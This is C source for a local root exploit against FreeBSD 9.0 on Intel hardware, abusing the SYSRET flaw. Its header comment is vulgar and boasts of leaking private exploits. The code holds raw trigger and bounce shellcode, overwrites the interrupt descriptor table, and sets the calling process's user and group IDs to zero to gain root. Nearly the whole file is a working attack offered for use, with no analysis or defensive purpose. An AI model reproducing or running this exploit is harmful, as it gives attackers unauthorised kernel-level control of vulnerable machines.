/* * FreeBSD 9.0 Intel SYSRET Kernel Privilege Escalation exploit * Author by CurcolHekerLink *  * This exploit based on open source project, I can make it open source too. Right? *  * If you blaming me for open sourcing this exploit, you can fuck your mom. Free of charge :) * * Credits to KEPEDEAN Corp, Barisan Sakit Hati, ora iso sepaying meneh hekerlink, * Kismin perogeremer cyber team, petboylittledick, 1337 Curhat Crew and others at #MamaDedehEliteCurhatTeam * if you would like next private exploit leakage, just mention @MamahhDedeh * * Some people may feel harmed when we release this exploit :)) * * p.s: Met idul Adha ya besok, saatnya potong leher dewa lo... eh maksudnya potong Sapisisasi :)) * */#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <unistd.h>#include <string.h>#include <sys/mman.h>#include <machine/cpufunc.h>#define _WANT_UCRED#include <sys/proc.h>#include <machine/segments.h>#include <sys/param.h>#include <sys/linker.h>#define TRIGGERSIZE 20#define BOUNCESIZE 18uintptr_t Xdivp, Xdbgp, Xbptp, Xoflp, Xbndp, Xillp, Xdnap, Xfpusegmp, Xtssp, Xmissingp, Xstkp, Xprotp, Xpagep, Xfpup, Xalignp, Xmchkp, Xxmmp;struct gate_descriptor * sidt(){        struct region_descriptor idt;        asm ("sidt %0": "=m"(idt));        return (struct gate_descriptor*)idt.rd_base;}u_long matchsym(char *symname){        struct kld_sym_lookup ksym;        ksym.version = sizeof (ksym);        ksym.symname = symname;        if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {                perror("kldsym");                exit(1);        }        return ksym.symvalue;}void setidt(struct gate_descriptor *idt, int idx, uintptr_t func, int typ, int dpl, int ist){        struct gate_descriptor *ip;        ip = idt + idx;        ip->gd_looffset = func;        ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);        ip->gd_ist = ist;        ip->gd_xx = 0;        ip->gd_type = typ;        ip->gd_dpl = dpl;        ip->gd_p = 1;        ip->gd_hioffset = func>>16;}void payload(){        printf("[+] Woohoo!!!\n");        exit(0);}void resetidt(){        struct thread *td;        struct ucred *cred;        struct gate_descriptor *idt = sidt();        setidt(idt, IDT_DE, Xdivp, SDT_SYSIGT, SEL_KPL, 0);        setidt(idt, IDT_DB, Xdbgp, SDT_SYSIGT, SEL_KPL, 0);                setidt(idt, IDT_BP, Xbptp, SDT_SYSIGT, SEL_KPL, 0);        setidt(idt, IDT_OF, Xoflp, SDT_SYSIGT, SEL_KPL, 0);        setidt(idt, IDT_BR, Xbndp, SDT_SYSIGT, SEL_KPL, 0);        setidt(idt, IDT_UD, Xillp, SDT_SYSIGT, SEL_KPL, 0);        setidt(idt, IDT_NM, Xdnap, SDT_SYSIGT, SEL_KPL, 0);        setidt(idt, IDT_FPUGP, Xfpusegmp, SDT_SYSIGT, SEL_KPL, 0);        setidt(idt, IDT_TS, Xtssp, SDT_SYSIGT, SEL_KPL, 0);        setidt(idt, IDT_NP, Xmissingp, SDT_SYSIGT, SEL_KPL, 0);        setidt(idt, IDT_SS, Xstkp, SDT_SYSIGT, SEL_KPL, 0);        setidt(idt, IDT_GP, Xprotp, SDT_SYSIGT, SEL_KPL, 0);        setidt(idt, IDT_PF, Xpagep, SDT_SYSIGT, SEL_KPL, 0);        setidt(idt, IDT_MF, Xfpup, SDT_SYSIGT, SEL_KPL, 0);        setidt(idt, IDT_AC, Xalignp, SDT_SYSIGT, SEL_KPL, 0);        setidt(idt, IDT_MC, Xmchkp, SDT_SYSIGT, SEL_KPL, 0);        setidt(idt, IDT_XF, Xxmmp, SDT_SYSIGT, SEL_KPL, 0);                asm ("mov %%gs:0, %0" : "=r"(td));                cred = td->td_proc->p_ucred;        cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0;        cred->cr_groups[0] = 0;                asm ("swapgs; sysretq;" :: "c"(payload));}void resolving(){        Xdivp = (uintptr_t)matchsym("Xdiv");        Xdbgp = (uintptr_t)matchsym("Xdbg");        Xbptp = (uintptr_t)matchsym("Xbpt");        Xoflp = (uintptr_t)matchsym("Xofl");        Xbndp = (uintptr_t)matchsym("Xbnd");        Xillp = (uintptr_t)matchsym("Xill");        Xdnap = (uintptr_t)matchsym("Xdna");        Xfpusegmp = (uintptr_t)matchsym("Xfpusegm");        Xtssp = (uintptr_t)matchsym("Xtss");        Xmissingp = (uintptr_t)matchsym("Xmissing");        Xstkp = (uintptr_t)matchsym("Xstk");        Xprotp = (uintptr_t)matchsym("Xprot");        Xpagep = (uintptr_t)matchsym("Xpage");        Xfpup = (uintptr_t)matchsym("Xfpu");        Xalignp = (uintptr_t)matchsym("Xalign");        Xmchkp = (uintptr_t)matchsym("Xmchk");        Xxmmp = (uintptr_t)matchsym("Xxmm");}void trigger(){        printf("[+] Crotz...\n");        uint64_t pagesize = getpagesize();        uint8_t * mappedarea = (uint8_t*)((1ULL << 47) - pagesize);        mappedarea = mmap(mappedarea, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);        if (mappedarea == MAP_FAILED) {                perror("mmap (trigger)");                exit(1);        }        char triggerpayload[] =                "\xb8\x18\x00\x00\x00"                "\x48\x89\xe3"                "\x48\xbc\xef\xbe\xad\xde\xef\xbe\xad\xde"                "\x0f\x05";        uint8_t * offset_addr = mappedarea + pagesize - TRIGGERSIZE;        memcpy(offset_addr, triggerpayload, TRIGGERSIZE);        *(uint64_t*)(offset_addr + 10) = (uint64_t)(((uint8_t*)&sidt()[14]) + 10 * 8);        printf("[+] Crotz...\n");        char bouncepayload[] =                "\x0f\x01\xf8"                "\x48\x89\xdc"                "\x48\xb8\xef\xbe\xad\xde\xef\xbe\xad\xde"                "\xff\xe0";        uint8_t * bouncer = (uint8_t*)(0x900000000 | (Xpagep & 0xFFFFFFFF));        size_t bouncer_allocsize = pagesize;        if ((uint8_t*)((uint64_t)bouncer & ~(pagesize-1)) + pagesize < bouncer + BOUNCESIZE)                bouncer_allocsize += pagesize;        if (mmap((void*)((uint64_t)bouncer & ~(pagesize-1)), bouncer_allocsize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) == MAP_FAILED)        {                perror("mmap (bouncer)");                exit(1);        }        memcpy(bouncer, bouncepayload, BOUNCESIZE);        *(uint64_t*)(bouncer + 8) = (uint64_t)resetidt;        ((void (*)())offset_addr)();}int main(int argc, char *argv[]){        printf("[+] SYSRET FUCKUP!!\n");        printf("[+] Start Engine...\n");        resolving();        printf("[+] Crotz...\n");        trigger();        return 0;}